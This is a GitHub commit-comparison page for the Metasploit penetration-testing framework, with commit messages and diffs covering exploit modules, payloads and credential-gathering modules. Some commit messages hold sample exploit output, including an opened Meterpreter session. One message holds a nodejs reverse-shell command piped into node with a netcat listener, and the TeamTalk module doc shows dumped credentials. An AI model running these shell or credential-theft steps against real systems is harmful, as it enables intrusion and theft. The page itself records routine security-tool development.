Compare commits

..

189 Commits

Author SHA1 Message Date
Pearce Barry e651bc1205 Land #8951, Hwbridge auto padding fix and flowcontrol 2017-09-15 08:33:17 -05:00
Pearce Barry 9b5350ff9c Land #8967, msftidy - fix missing newline 2017-09-14 13:28:52 -05:00
Christian Mehlmauer c77cb51d64 add newline 2017-09-14 18:26:11 +02:00
Jeffrey Martin a992a3c427 Land #8774, Post module for gather Docker credentials 2017-09-14 10:15:03 -05:00
Pearce Barry 200a1b400a Remove spaces to appease msftidy. 2017-09-14 09:28:38 -05:00
h00die 3034930556 Land #8953 executable extra newline removal 2017-09-14 10:10:01 -04:00
h00die a1583de055 added pound shebang to vxencrypt 2017-09-14 10:09:31 -04:00
William Webb a07f7c9f42 Land #8520, Linux post module to find and collect TOR hidden service configurations 2017-09-12 13:39:18 -05:00
heitor.gouvea@ima.sp.gov.br 1c44406e94 Removing unnecessary spaces 2017-09-12 10:00:18 -03:00
Craig Smith e4465c9350 Fixed a bug where flowcontrol caused the first packet to get lost 2017-09-11 19:00:53 -07:00
Craig Smith b218cc3c7f Merge branch 'master' into hw_auto_padding_fix 2017-09-11 18:30:34 -07:00
Craig Smith 363e11850b Added FC to documentation 2017-09-11 18:29:27 -07:00
Craig Smith ad9329993d Added better padding and flowcontrol support. 2017-09-11 18:20:57 -07:00
Pearce Barry 7b87915e1f Land #8923, Add additional error checking to mssql_clr_payload module 2017-09-11 17:39:33 -05:00
Jeffrey Martin a58552daad Land #8825, Handle missing util.pump in nodejs shell payloads 2017-09-11 15:32:21 -05:00
Tod Beardsley 5f66b7eb1a Land #8940, @h00die's second round of desc fixes
One ninja edit along the way as well.
2017-09-11 13:05:13 -05:00
Tod Beardsley cfbd3c1615 Fix spelling of Honeywell 2017-09-11 13:02:18 -05:00
james ba880d1a85 Changes to mssql_clr_payload error handling based on code review 2017-09-10 14:15:39 -05:00
h00die fc52ef9941 Land #8942 docs for syn port scanner 2017-09-10 10:03:34 -04:00
h00die ddfa1d722b fixed grammar 2017-09-10 10:02:07 -04:00
Deepanshu Gajbhiye 4ec72d7091 Update syn.md 2017-09-09 20:15:13 +05:30
h00die 7339658ba9 224 pages of spelling issues left 2017-09-09 09:52:08 -04:00
Deepanshu Gajbhiye 8138396ab5 Update syn.md 2017-09-09 13:28:18 +05:30
h00die 6289cc0b70 Merge branch 'spellin' of https://github.com/h00die/metasploit-framework into spellin 2017-09-08 22:20:39 -04:00
h00die 0910c482a9 35 pages of spelling done 2017-09-08 22:19:55 -04:00
Metasploit faa84faf25 Bump version of framework to 4.16.7 2017-09-08 15:38:22 -07:00
Brent Cook f8f363c5c9 Land #8944, bump payloads, fix java/android shell expansion 2017-09-08 14:03:15 -05:00
Brent Cook 8f864c27e3 Land #8924, Add Apache Struts 2 REST Plugin XStream RCE 2017-09-08 13:59:52 -05:00
Brent Cook 54a62976f8 update versions and add quick module docs 2017-09-08 13:59:29 -05:00
Brent Cook 6b0b2550ec bump payloads, add shell expansion for java/android payloads 2017-09-08 13:45:54 -05:00
William Vu 978fdb07b0 Comment out PSH target and explain why
I hope we can fix the PSH target in the future, but the Windows dropper
works today, and you can specify a custom EXE if you really want.
2017-09-08 13:41:06 -05:00
dmohanty-r7 c91ef1f092 Land #8768, Add Docker Daemon TCP exploit module 2017-09-08 12:50:00 -05:00
Metasploit f5a73f3efe Bump version of framework to 4.16.6 2017-09-08 10:03:41 -07:00
Pearce Barry 2ebf53b647 Minor tweaks... 2017-09-08 10:04:47 -05:00
Brent Cook 2a884af022 Land #8943, update android/java meterpreter for config size changes 2017-09-08 10:10:31 +02:00
Brent Cook d38ee0f1ee bump payloads, grab java/android fixes for #8938
fixes #8938
2017-09-08 10:08:22 +02:00
Deepanshu Gajbhiye 35ecc822f1 Update syn.md 2017-09-08 13:23:30 +05:30
Deepanshu Gajbhiye bead7374de syn.md
documentation for syn portscan
2017-09-08 02:57:46 -04:00
h00die 00c593e0a2 55 pages of spelling done 2017-09-07 21:18:50 -04:00
William Vu a9a307540f Assign cmd to entire case and use encode for XML
Hat tip @acammack-r7. Forgot about that first syntax!
2017-09-07 19:36:08 -05:00
William Vu 8f1e353b6e Add Apache Struts 2 REST Plugin XStream RCE 2017-09-07 19:30:48 -05:00
Brent Cook a0181a4d54 Land #8831, Add Maven post-exploitation credential extraction module
Merge remote-tracking branch 'upstream/pr/8831' into upstream-master
2017-09-08 00:37:03 +02:00
Brent Cook c15968e0d3 Land #8939, Fix payload permissions in docker priv_esc module 2017-09-08 00:11:31 +02:00
James Barnett 7e9d0b3e9b Fix permissions in docker priv_esc module
The previous command didn't give the original user enough permissions
to execute the payload. This was resulting in permission denied
and preventing me from getting a root shell.

Fixes #8937
2017-09-07 16:48:02 -05:00
Brent Cook c67e407c9c Land #8880, added Cisco Smart Install (SMI) scanner 2017-09-07 08:06:03 -05:00
Brent Cook a304df265c fix spelling 2017-09-07 08:02:30 -05:00
Brent Cook ee9e4275d5 Land #8926, remove obsolete HACKING file 2017-09-07 02:36:18 -05:00
Brent Cook 50c168415c remove HACKING from yardopts 2017-09-07 02:35:56 -05:00
Brent Cook 65d17784d4 finish the job 2017-09-07 02:34:36 -05:00
Brent Cook eeb51447af Land #8932, Packet-level pivot support and named pipe transports 2017-09-07 02:28:22 -05:00
Brent Cook b9fdca04a1 rework logical fix for #8884 to function with bootstrap code 2017-09-07 01:43:58 -05:00
Brent Cook c365db135a pull in GUID fixes from #8818 2017-09-07 01:39:49 -05:00
Brent Cook 9877a61eff bump payloads 2017-09-07 01:36:25 -05:00
OJ b38a962c09 Fix default session GUID when not specified
This resolves an issue with stategless HTTP sessions
2017-09-07 01:36:25 -05:00
OJ 7a2a47586b Fix named pipe migration stubs 2017-09-07 01:36:25 -05:00
OJ 5294722b96 Prevent socket-like behaviours during migrate on pivoted sessions 2017-09-07 01:36:24 -05:00
OJ dfba42e2c1 Fix exception when datastore value is nil in meterp session 2017-09-07 01:36:24 -05:00
OJ 4ec87985a2 Fix stager crash and support pivots in x64 meterp loader 2017-09-07 01:36:24 -05:00
OJ c8b8ef03bd Force max 0x10000 bytes when reading from pipe in stager 2017-09-07 01:36:23 -05:00
OJ bfdea35aca A few UI touch ups 2017-09-07 01:36:23 -05:00
OJ 75270af9e7 Tweaking of the pivot list output 2017-09-07 01:36:23 -05:00
OJ 8b8e5e4cb5 First iteration of the pivot menu for meterpreter 2017-09-07 01:36:23 -05:00
OJ d525b015f0 Enable keepalive for pivoted sessions 2017-09-07 01:36:22 -05:00
OJ 558d007d8e Final tweak to avoid issues in session dump 2017-09-07 01:36:22 -05:00
OJ f004e6f0f2 Fix session output for pivoted sessions 2017-09-07 01:36:22 -05:00
OJ 7acd772c10 Pivot session stability, display and handling 2017-09-07 01:36:21 -05:00
OJ fdc9864b61 First working packet pivot session! 2017-09-07 01:36:20 -05:00
OJ e3de01219a Pushed on with more pivot code 2017-09-07 01:33:54 -05:00
OJ abc80655b7 Progress in named pipe pivots, more to come 2017-09-07 01:33:54 -05:00
OJ 816e78b6f6 First pass of named pipe code for pivots 2017-09-07 01:33:53 -05:00
William Vu 36bbe00ea1 Land #8922, db_nmap tab completion fix 2017-09-07 00:28:03 -05:00
yaya123456778908 bcec8c8eab Update HACKING 2017-09-06 14:18:08 +03:00
h00die be66ed8af3 Land #8788 exploits for Gh0st and PlugX malware controllers 2017-09-05 20:42:07 -04:00
james 44fb059cea Add error checking to mssql_clr_payload
Additional error checking had been added to exploits/windows/mssql/mssql_clr_payload
If an error is encountered when changing the trustworthy or clr setting, the exploit fails with a message.
2017-09-05 18:48:22 -05:00
Professor-plum 33e1777bab Merge pull request #1 from h00die/updates
Modules cleanup and add docs
2017-09-05 13:48:09 -06:00
Adam Cammack b0dc44fb86 Land #8909, Avoid saving some invalid creds 2017-09-05 12:43:03 -05:00
Tim 636d1a5fcb fix #8921, fix crash on nmap tab completion 2017-09-05 16:36:14 +08:00
h00die d05c401866 modules cleanup and add docs 2017-09-04 20:57:23 -04:00
Pearce Barry 6051a1a1c1 Land #8910, Use meta redirect instead of JS redirect in 2 modules 2017-09-01 13:50:02 -05:00
William Webb 055e88d261 Land #8897, Rewrite timestomp command dispatcher to deal with arguments properly 2017-09-01 12:11:57 -05:00
Metasploit 92f5290a50 Bump version of framework to 4.16.5 2017-09-01 10:08:40 -07:00
Brent Cook bcfab11ca9 land #8913, fix false positives of telnet scanner vs http servers 2017-08-31 16:31:08 -05:00
Brent Cook 7c14a3d370 expand the check for weird HTTP / HTML serving servers 2017-08-31 16:30:02 -05:00
Tod Beardsley 86db2a5771 Land #8888 from @h00die, with two extra fixes
Fixes spelling and grammar in a bunch of modules. More to come!
2017-08-31 14:37:02 -05:00
Tod Beardsley 8a045e65aa Spaces between commas 2017-08-31 14:29:23 -05:00
Tod Beardsley 642a13e820 Out out damn tick 2017-08-31 14:29:05 -05:00
Adam Cammack 3c1abe6437 Land #8904, Add Meterpreter mid-stager for AArch64 2017-08-31 12:25:05 -05:00
Jin Qian 1a735c48b4 Fix MS2715, false positive when telneting against web server
Add a condition to identify when server returned HTML as login failure
2017-08-31 11:35:51 -05:00
Tim 86ee77ffb0 add aarch64 nops and fix aarch64 cmdstager 2017-08-31 18:48:58 +08:00
Adam Cammack 195c1e041f Update payload specs and sizes
Adds the new Aarch64 and R payloads

fix merge
2017-08-31 18:48:56 +08:00
Tim ffbf21cb1c cleanup 2017-08-31 18:35:18 +08:00
Tim 7b71f60ea1 fix the stack 2017-08-31 18:35:18 +08:00
Tim 26f4fa3b09 setup stack 2017-08-31 18:35:17 +08:00
Tim a2396991f0 stager not setting up stack 2017-08-31 18:35:17 +08:00
Tim 6dbe00158f fix stager 2017-08-31 18:35:17 +08:00
james 49173818fd Addresses #8674
This type of redirection will work without javascript being enabled.

Modules:
multi/browser/firefox_xpi_bootstrapped_addon
multi/browser/itms_overflow

More info on the meta element:
https://developer.mozilla.org/en-US/docs/Web/HTML/Element/meta
2017-08-30 23:16:46 -05:00
Pearce Barry 2bbba9c500 Avoid some ActiveRecord validation errors.
Per discussion with @bcoles in [PR 8759](https://github.com/rapid7/metasploit-framework/pull/8759#issuecomment-325028479), setting a login data's last_attempted_at value while also setting the status to UNTRIED will cause a validation error when there's a running+connected MSF DB.

This PR removes the handful of existing cases we're doing this (thx, @bcoles!).
2017-08-30 15:31:36 -05:00
Jon Hart eec5d2ada9 Update description and add link to SIET 2017-08-30 11:52:11 -07:00
Brent Cook 202c936868 Land #8826, git submodule remote command execution 2017-08-29 18:11:32 -05:00
Brent Cook 8928197584 rename module docs so they are viewable 2017-08-29 18:09:30 -05:00
Brent Cook 46eeb1bee0 update style 2017-08-29 17:44:39 -05:00
Pearce Barry d5124fdc94 Land #8759, Add TeamTalk Gather Credentials auxiliary module 2017-08-29 13:17:28 -05:00
Tim e1b38ac3a3 fix malicious typo 2017-08-29 17:52:51 +08:00
Tim 5631ddc246 add docs for the git submodule vulnerability 2017-08-29 17:06:30 +08:00
Tim 39299c0fb8 randomize submodule path 2017-08-29 16:54:08 +08:00
Brendan Coles c9e32fbb18 Remove last_attempted_at 2017-08-29 05:05:04 +00:00
Brent Cook fbb0f206fb Land #8903, bump network_interfaces, add Android support 2017-08-28 20:33:34 -05:00
Brent Cook b0c1bfaeb7 bump network_interfaces, add Android support
see #8780
2017-08-28 20:08:06 -05:00
h00die a40429158f 40% done 2017-08-28 20:17:58 -04:00
Brent Cook 847407f1dd Land #8899, Make backgrounding messages more consistent 2017-08-28 18:51:22 -05:00
William Vu 0e1bafb2d1 Land #8902, vendored robots gem 2017-08-28 16:42:38 -05:00
Metasploit a0131f450e Bump version of framework to 4.16.4 2017-08-28 14:34:39 -07:00
Pearce Barry cc33b29f0d Land #8901, update nessus v2 import for consistent proto case 2017-08-28 15:54:47 -05:00
Brent Cook b2fc0e55de remove the first of many robots.rb workarounds 2017-08-28 15:48:09 -05:00
Brent Cook 06fc5c8a3e add license, fix style violations, log with dlog 2017-08-28 15:47:47 -05:00
Brent Cook 3d489a516c Only test the first element of status
From f5df1ba7827581a7c771a3deffb6062551611134 Mon Sep 17 00:00:00 2001
From: Postmodern <postmodern.mod3@gmail.com>
Date: Thu, 4 Aug 2016 19:35:10 -0700
Subject: [PATCH 2/2] Only test the first element of status

* When using webmock, the `"OK"` String is not present in `StringIO#status`.
2017-08-28 15:47:47 -05:00
Brent Cook dafd7885e1 Fixing mix case of user-agent.
From bfbe173cd6bf91be477ef0affc2c4c86ca75bc1d Mon Sep 17 00:00:00 2001
From: Jason Kim <jkim@avvo.com>
Date: Thu, 3 Nov 2011 15:43:14 -0700
Subject: [PATCH 1/2] Fixing mix case of user-agent. Adding/Fixing test.
2017-08-28 15:47:46 -05:00
Brent Cook 928d632042 import https://github.com/fizx/robots.git 0.10.1 2017-08-28 15:47:46 -05:00
Brent Cook f7071818b1 more updates 2017-08-28 14:10:51 -05:00
Jeffrey Martin 368e37428e update nessus v2 import for consistent proto case 2017-08-28 12:32:04 -05:00
Adam Cammack d6ed1f6f8d Make backgrounding messages more consistent
Inspired by the work in #8896
2017-08-28 11:19:17 -05:00
Brent Cook 3bdb572e01 Land #8898, move Dockerfile for publishing 2017-08-28 10:51:52 -05:00
Christian Mehlmauer 4b272f309b update rubygems 2017-08-28 17:14:46 +02:00
Christian Mehlmauer 3e5869e918 move Dockerfile to root 2017-08-28 16:57:28 +02:00
Brent Cook 8fdcc142c7 Land #8896, Output job id when jobifying exploit 2017-08-28 09:10:09 -05:00
Brent Cook a0e04760b5 rewrite timestomp command dispatcher to deal with file args properly 2017-08-28 08:25:42 -05:00
Marc Green d50c7d7f5c Output job id when jobifying exploit 2017-08-28 14:36:04 +02:00
Brent Cook 1e8edb377f Land #8873, cleanup enable_rdp, add error handling 2017-08-28 05:50:42 -05:00
Brent Cook d23edf5cd1 Land #8895, bump mettle, fix reverse_http/s shell command 2017-08-28 05:49:05 -05:00
Brent Cook 582b2e238e update mettle payload to 0.2.2, add background and single-thread http comms 2017-08-28 05:31:44 -05:00
Brent Cook 15ec40f5c6 update R cached sizes 2017-08-28 05:31:42 -05:00
Brent Cook b42a0759ce add missing specs 2017-08-28 05:30:07 -05:00
Brent Cook 406cbd0985 Land #8893, update meterpreter repo link 2017-08-27 21:31:34 -05:00
David Tomaschik ef6c20ce51 Update README
Meterpreter repo now redirects to metasploit-payloads.
2017-08-27 10:26:35 -07:00
h00die 598151c194 Land #8892 docs format fixup 2017-08-26 21:06:34 -04:00
h00die bd7ea1f90d more updates, 465 more pages to go 2017-08-26 21:01:10 -04:00
james 5bf1d916bc Fix uneven quotes in various documentation files
Uneven quotes lead to malformed markdown, which will not render as intended.
Even out the quotes in several files.
2017-08-26 19:12:48 -05:00
Erik Lenoir a8067070f2 Fix typo 2017-08-26 17:52:11 +02:00
William Vu 924c3de9f3 Land #7382, BIND TSIG DoS 2017-08-26 10:42:35 -05:00
William Vu f9a2c3406f Clean up module 2017-08-26 10:41:10 -05:00
h00die 3420633f29 @NickTyrer corrected my correction 2017-08-26 08:43:10 -04:00
Metasploit 779b25bdf6 Bump version of framework to 4.16.3 2017-08-25 10:02:45 -07:00
Erik Lenoir 682851ac59 Edit doc 2017-08-25 18:28:24 +02:00
Erik Lenoir 801e3e2d68 Replace REXML with Nokogiri and try to cross id with mirror/repository tag 2017-08-25 18:28:09 +02:00
Jon P abaf80f3df jmartin improvements (iter on keys + save as credentials) 2017-08-25 18:15:24 +02:00
h00die 8f05f7eeb6 add tool to dump descriptions 2017-08-24 21:41:46 -04:00
h00die 32a4436ecd first round of spelling/grammar fixes 2017-08-24 21:38:44 -04:00
Jon Hart e4fc307ebb Add docs 2017-08-22 15:12:02 -07:00
Jon Hart 7b18c17445 Appease rubocop 2017-08-22 14:53:21 -07:00
Jon Hart 2969da3d70 Merge branch 'upstream-master' into feature/cisco-smi-scanner 2017-08-22 14:39:44 -07:00
Erik Lenoir be2739d335 Transform loots into creds 2017-08-22 11:57:51 +02:00
Brent Cook 29c48f9d8d cleanup accounts post API 2017-08-21 23:00:57 -05:00
Brent Cook e3a9ddfc22 fix retry case for acquiring security descriptor 2017-08-21 22:52:53 -05:00
Brent Cook 33f2ebc2aa code cleanup 2017-08-21 22:46:30 -05:00
Brent Cook 58e332cc7c only fail if the group sids fail to resolve and we actually have to add a user 2017-08-21 22:36:40 -05:00
Brent Cook 0d17e94f54 handle unmapped sids consistently 2017-08-21 22:36:26 -05:00
Erik Lenoir cde319a5ec Optim module and add doc 2017-08-18 19:30:41 +02:00
Erik Lenoir b529c3551c Remove unused variable 2017-08-18 19:00:32 +02:00
Brendan Coles 3fcd248d3a Add documentation 2017-08-17 09:51:09 +00:00
Erik Lenoir 6ac8ed490b Add documentation file 2017-08-15 16:56:20 +02:00
Erik Lenoir b4055a8071 Rename command 2017-08-14 23:26:18 +02:00
Erik Lenoir 55db70ec3e Handle case when locate is not here by using enum_directories_map 2017-08-14 23:25:01 +02:00
Erik Lenoir 27822c2ccf Add Maven creds module 2017-08-14 14:59:59 +02:00
Patrick Thomas 25764397ba Update CachedSizes for changed nodejs payloads
Fixes test failures
2017-08-12 23:21:54 -07:00
Tim 7881a7ddc4 git submodule command exec 2017-08-13 11:47:44 +08:00
Patrick Thomas 437fe4b63a handle missing util.pump in nodejs shell payloads
Modern NodeJS (since 5.3.0) has removed util.pump in favor of stream.pipe. 

On current versions the nodejs tcp shell payloads error out:
```
$ node --version
v7.10.0
$ msfvenom -p nodejs/shell_reverse_tcp LHOST=127.0.0.1 LPORT=7777 | node
<snip>
TypeError: util.pump is not a function
    at Socket.<anonymous> ([stdin]:1:405)
    at Object.onceWrapper (events.js:293:19)
    at emitNone (events.js:86:13)
    at Socket.emit (events.js:188:7)
    at TCPConnectWrap.afterConnect [as oncomplete] (net.js:1080:10)
```

With this change, bind and reverse tcp should be tolerant of both new and older versions.

*Reference*
https://github.com/nodejs/node/pull/2531

*Verification steps*

1. Set up a handler (either exploit/multi/handler or simple nc)
```
$ nc -l -v 7777
```

2. Use patched version with various versions of node:
```
msfvenom -p nodejs/shell_reverse_tcp LHOST=127.0.0.1 LPORT=7777 | node
```

3. Confirm both old and new versions of node result in shell, not error.
2017-08-12 20:40:03 -07:00
Martin Pizala 2383afd8dc Fix improved error handling 2017-08-04 23:42:44 +02:00
Professor-plum 234a95af78 Delete xtreme.rb
removed duplicate file from wrong location
2017-08-02 08:58:18 -06:00
Jon P adbeab81da Avoid exceptions 2017-08-02 15:03:36 +02:00
Professor-plum 055d64d32b Fixed to modules as suggested from upstream
fixed typo in xtreme.rb when communicating with C&C
removed self.class from options on all three modules
added line to log path where loot has been stored in xtreme.rb
2017-07-30 10:14:05 -06:00
Martin Pizala 60c3882b84 Improved error handling 2017-07-30 09:07:52 +02:00
Professor-plum 5c8a90a7be Add files via upload
This module is a Xtreme Rat Server Remote File Download Exploit that allows for blind file retrieval from the target

## Verification
Run the Xtreme Rat server on a target windows machine. 

- [ ] use exploit/windows/misc/xtreme
- [ ] set RHOST [ip of target]
- [ ] set TARGETFILE testfile.txt
- [ ] exploit

Sample output:
```
msf> use exploit/windows/misc/xtreme
msf exploit(plugx) > set rhost 192.168.161.128
rhost => 192.168.161.128
msf exploit(plugx) > set target 1
TARGETFILE => testfile.txt
[*] 192.168.161.128:80 - Trying target Xtreme RAT 3.7...
```
2017-07-29 11:43:37 -06:00
Professor-plum 99546330f1 Added PlugX Controller Stack Overflow Module
This module exploits a stack overflow in the Plug-X Controller when handling a larger than expected message. This vulnerability can allow remote code execution however it causes a popup message to be displayed on the target before execution is gained.

## Verification
Run the PlugX C2 server on a target windows machine. The sample 9f59a606c57217d98a5eea6846c8113aca07b203e0dcf17877b34a8b2308ade6 is a Plux Type 1 server that works good for testing.

- [ ] use exploit/windows/misc/plugx
- [ ] set RHOST [ip of target]
- [ ] set target 1
- [ ] exploit
- [ ] acknowledge the "PeDecodePacket" message on the target

Sample output:
```
msf> use exploit/windows/misc/plugx 
msf exploit(plugx) > set rhost 192.168.161.128
rhost => 192.168.161.128
msf exploit(plugx) > set target 1
target => 1
msf exploit(plugx) > check

[*] 192.168.161.128:13579 - "\x03\xB0\x02\x00\x04\x00"
[*] 192.168.161.128:13579 The target appears to be vulnerable.
msf exploit(plugx) >
2017-07-29 10:36:42 -06:00
Professor-plum c336daec8d Added Gh0st Controller Buffer Overflow Module
This module exploits a buffer overflow in the Gh0st Controller when handling a drive list as received by a victim. This vulnerability can allow remote code execution 

## Verification
Run the Gh0st C2 server on a target windows machine. The sample 0efd83a87d2f5359fae051517fdf4eed8972883507fbd3b5145c3757f085d14c is a Gh0st 3.6 server that works good for testing.

- [ ] use exploit/windows/misc/gh0st
- [ ] set RHOST [ip of target]
- [ ] exploit

Sample output:
```
msf > use exploit/windows/misc/gh0st
msf exploit(gh0st) > set rhost 192.168.161.128
rhost => 192.168.161.128
msf exploit(gh0st) > exploit

[*] Started reverse TCP handler on 192.168.161.1:4444 
[*] 192.168.161.128:80 - Trying target Gh0st Beta 3.6
[*] 192.168.161.128:80 - Spraying heap...
[*] 192.168.161.128:80 - Trying command 103...
[*] Sending stage (957487 bytes) to 192.168.161.128
[*] Meterpreter session 1 opened (192.168.161.1:4444 -> 192.168.161.128:49161) at 2017-07-29 10:11:4
2017-07-29 10:21:05 -06:00
Jon P 85f48b96bb Fix syntax 2017-07-28 10:16:59 +02:00
Jon P 2e87a3d3f8 Multi Gather Docker Credentials Collection 2017-07-26 15:14:16 +02:00
Martin Pizala dd0c78484a Fix mistake 2017-07-26 02:17:51 +02:00
Martin Pizala 853ae9a6ce Add new reference 2017-07-26 02:16:56 +02:00
Martin Pizala cd418559bc Docker Daemon - Unprotected TCP Socket Exploit 2017-07-26 00:21:35 +02:00
Brendan Coles d66e8062e7 Add TeamTalk Gather Credentials auxiliary module 2017-07-24 14:24:38 +00:00
Jon Hart e52e9c147d First commit for Cisco Smart Install Scanner 2017-07-12 19:12:06 -07:00
Harvey Phillips 4278339869 Added multi-file support for torrc and use locate instead of find when searching 2017-06-07 20:08:23 +01:00
Harvey Phillips 71fde14b6c Linux post module to grab TOR hidden service hostnames and private keys 2017-06-06 22:29:14 +01:00
Harvey Phillips f557aa3c9c Linux post module to search for and grab TOR hidden service configurations 2017-06-06 21:59:02 +01:00
Ale c4c133dff8 Fix Web URL 2016-10-03 17:11:04 -03:00
Ale 066df5f1a9 Fix msftidy warnings 2016-09-30 14:19:43 -03:00
Ale bd96380d19 Fix in ScannerRecvWindow Declaration 2016-09-30 13:50:58 -03:00
Ale c699c7c506 Fixing MSF Code Style 2016-09-30 13:42:30 -03:00
Ale 143a4af73d DoS exploit for CVE-2016-2776 2016-09-29 22:14:13 -03:00
382 changed files with 5402 additions and 1246 deletions
+1 -1
View File
@@ -2,7 +2,7 @@
--exclude samples/
--exclude \.ut\.rb/
--exclude \.ts\.rb/
--files CONTRIBUTING.md,COPYING,HACKING,LICENSE
--files CONTRIBUTING.md,COPYING,LICENSE
app/**/*.rb
lib/msf/**/*.rb
lib/metasploit/**/*.rb
+1 -4
View File
@@ -36,15 +36,12 @@ RUN apk update && \
ncurses-dev \
git \
&& echo "gem: --no-ri --no-rdoc" > /etc/gemrc \
&& gem update --system \
&& gem install bundler \
&& bundle install --system $BUNDLER_ARGS \
&& apk del .ruby-builddeps \
&& rm -rf /var/cache/apk/*
# fix for robots gem not readable (known bug)
# https://github.com/rapid7/metasploit-framework/issues/6068
RUN chmod o+r /usr/local/bundle/gems/robots-*/lib/robots.rb
RUN adduser -g msfconsole -D $MSF_USER
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which ruby)
+15 -17
View File
@@ -1,7 +1,7 @@
PATH
remote: .
specs:
metasploit-framework (4.16.2)
metasploit-framework (4.16.7)
actionpack (~> 4.2.6)
activerecord (~> 4.2.6)
activesupport (~> 4.2.6)
@@ -17,9 +17,9 @@ PATH
metasploit-concern
metasploit-credential
metasploit-model
metasploit-payloads (= 1.3.1)
metasploit-payloads (= 1.3.7)
metasploit_data_models
metasploit_payloads-mettle (= 0.2.0)
metasploit_payloads-mettle (= 0.2.2)
msgpack
nessus_rest
net-ssh
@@ -58,7 +58,6 @@ PATH
rex-struct2
rex-text
rex-zip
robots
ruby_smb
rubyntlm
rubyzip
@@ -99,8 +98,8 @@ GEM
minitest (~> 5.1)
thread_safe (~> 0.3, >= 0.3.4)
tzinfo (~> 1.1)
addressable (2.5.1)
public_suffix (~> 2.0, >= 2.0.2)
addressable (2.5.2)
public_suffix (>= 2.0.2, < 4.0)
afm (0.2.2)
arel (6.0.4)
arel-helpers (2.4.0)
@@ -108,10 +107,10 @@ GEM
backports (3.8.0)
bcrypt (3.1.11)
bcrypt_pbkdf (1.0.0)
bindata (2.4.0)
bindata (2.4.1)
bit-struct (0.16)
builder (3.2.3)
coderay (1.1.1)
coderay (1.1.2)
diff-lcs (1.3)
dnsruby (1.60.2)
docile (1.1.5)
@@ -151,7 +150,7 @@ GEM
activemodel (~> 4.2.6)
activesupport (~> 4.2.6)
railties (~> 4.2.6)
metasploit-payloads (1.3.1)
metasploit-payloads (1.3.7)
metasploit_data_models (2.0.15)
activerecord (~> 4.2.6)
activesupport (~> 4.2.6)
@@ -162,16 +161,16 @@ GEM
postgres_ext
railties (~> 4.2.6)
recog (~> 2.0)
metasploit_payloads-mettle (0.2.0)
metasploit_payloads-mettle (0.2.2)
method_source (0.8.2)
mini_portile2 (2.2.0)
minitest (5.10.3)
msgpack (1.1.0)
multipart-post (2.0.0)
nessus_rest (0.1.6)
net-ssh (4.1.0)
network_interface (0.0.1)
nexpose (6.1.1)
net-ssh (4.2.0)
network_interface (0.0.2)
nexpose (7.0.0)
nokogiri (1.8.0)
mini_portile2 (~> 2.2.0)
octokit (4.7.0)
@@ -198,7 +197,7 @@ GEM
coderay (~> 1.1.0)
method_source (~> 0.8.1)
slop (~> 3.4)
public_suffix (2.0.5)
public_suffix (3.0.0)
rack (1.6.8)
rack-test (0.6.3)
rack (>= 1.0)
@@ -221,7 +220,7 @@ GEM
ffi
rbnacl-libsodium (1.0.13)
rbnacl (>= 3.0.1)
recog (2.1.12)
recog (2.1.15)
nokogiri
redcarpet (3.4.0)
rex-arch (0.1.11)
@@ -253,7 +252,7 @@ GEM
rex-powershell (0.1.72)
rex-random_identifier
rex-text
rex-random_identifier (0.1.2)
rex-random_identifier (0.1.4)
rex-text
rex-registry (0.1.3)
rex-rop_builder (0.1.3)
@@ -271,7 +270,6 @@ GEM
rex-zip (0.1.3)
rex-text
rkelly-remix (0.0.7)
robots (0.10.1)
rspec (3.6.0)
rspec-core (~> 3.6.0)
rspec-expectations (~> 3.6.0)
-38
View File
@@ -1,38 +0,0 @@
HACKING
=======
(Last updated: 2014-03-04)
This document almost entirely deprecated by:
CONTRIBUTING.md
in the same directory as this file, and to a lesser extent:
The Metasploit Development Environment
https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environment
Common Coding Mistakes
https://github.com/rapid7/metasploit-framework/wiki/Common-Metasploit-Module-Coding-Mistakes
The Ruby Style Guide
https://github.com/bbatsov/ruby-style-guide
Ruby 1.9: What to Expect
http://slideshow.rubyforge.org/ruby19.html
You can use the the "./tools/msftidy.rb" script against your new and
changed modules to do some rudimentary checking for various style and
syntax violations.
Licensing for Your New Content
==============================
By submitting code contributions to the Metasploit Project it is
assumed that you are offering your code under the Metasploit License
or similar 3-clause BSD-compatible license. MIT and Ruby Licenses
are also fine. We specifically cannot include GPL code. LGPL code
is accepted on a case by case basis for libraries only and is never
accepted for modules.
+1 -1
View File
@@ -4,7 +4,7 @@ services:
image: metasploit
build:
context: .
dockerfile: ./docker/Dockerfile
dockerfile: ./Dockerfile
environment:
DATABASE_URL: postgres://postgres@db:5432/msf
links:
@@ -0,0 +1,53 @@
## Description
This module retrieves user credentials from BearWare TeamTalk.
Valid administrator credentials are required.
Starting from version 5, TeamTalk allows users to login using a username and password combination. The username and password are stored on the server in clear text and can be retrieved remotely by any user with administrator privileges.
## Vulnerable Application
[TeamTalk 5](http://www.bearware.dk/) is a freeware conferencing system which allows multiple users to participate in audio and video conversations. The TeamTalk install file includes both client and server application. A special client application is included with accessibility features for visually impaired.
This module has been tested successfully on TeamTalk versions 5.2.2.4885 and 5.2.3.4893.
The TeamTalk software is available on the [BearWare website](http://www.bearware.dk/) and on [GitHub](https://github.com/BearWare/TeamTalk5).
## Verification Steps
1. Start `msfconsole`
2. Do: `use auxiliary/gather/teamtalk_creds`
3. Do: `set rhost <RHOST>`
4. Do: `set rport <RPORT>` (default: `10333`)
5. Do: `set username <USERNAME>` (default: `admin`)
6. Do: `set password <PASSWORD>` (default: `admin`)
7. Do: `run`
8. You should get credentials
## Scenarios
```
[*] 172.16.191.166:10333 - Found TeamTalk (protocol version 5.2)
[+] 172.16.191.166:10333 - Authenticated successfully
[+] 172.16.191.166:10333 - User is an administrator
[*] 172.16.191.166:10333 - Found 5 users
TeamTalk User Credentials
=========================
Username Password Type
-------- -------- ----
debbie 1234567890 1
murphy 934txs 2
quinn ~!@#$%^&*()_+{}|:" <>?;',./ 2
sparks password 2
stormy 1
[+] 172.16.191.166:10333 - Credentials saved in: /root/.msf4/loot/20170724092809_default_172.16.191.166_teamtalk.user.cr_034806.txt
[*] Auxiliary module execution completed
```
@@ -17,7 +17,7 @@ https://software.cisco.com/download/release.html?mdfid=286259687&softwareid=2862
1. Make sure Cisco Firepower Management console's HTTPS service is running
2. Start ```msfconsole```
3. ```use auxiliary/scanner/http/cisco_firepower_login.rb
3. ```use auxiliary/scanner/http/cisco_firepower_login.rb```
4. ```set RHOSTS [IP]```
5. Set credentials
6. ```run```
@@ -0,0 +1,30 @@
## Vulnerable Application
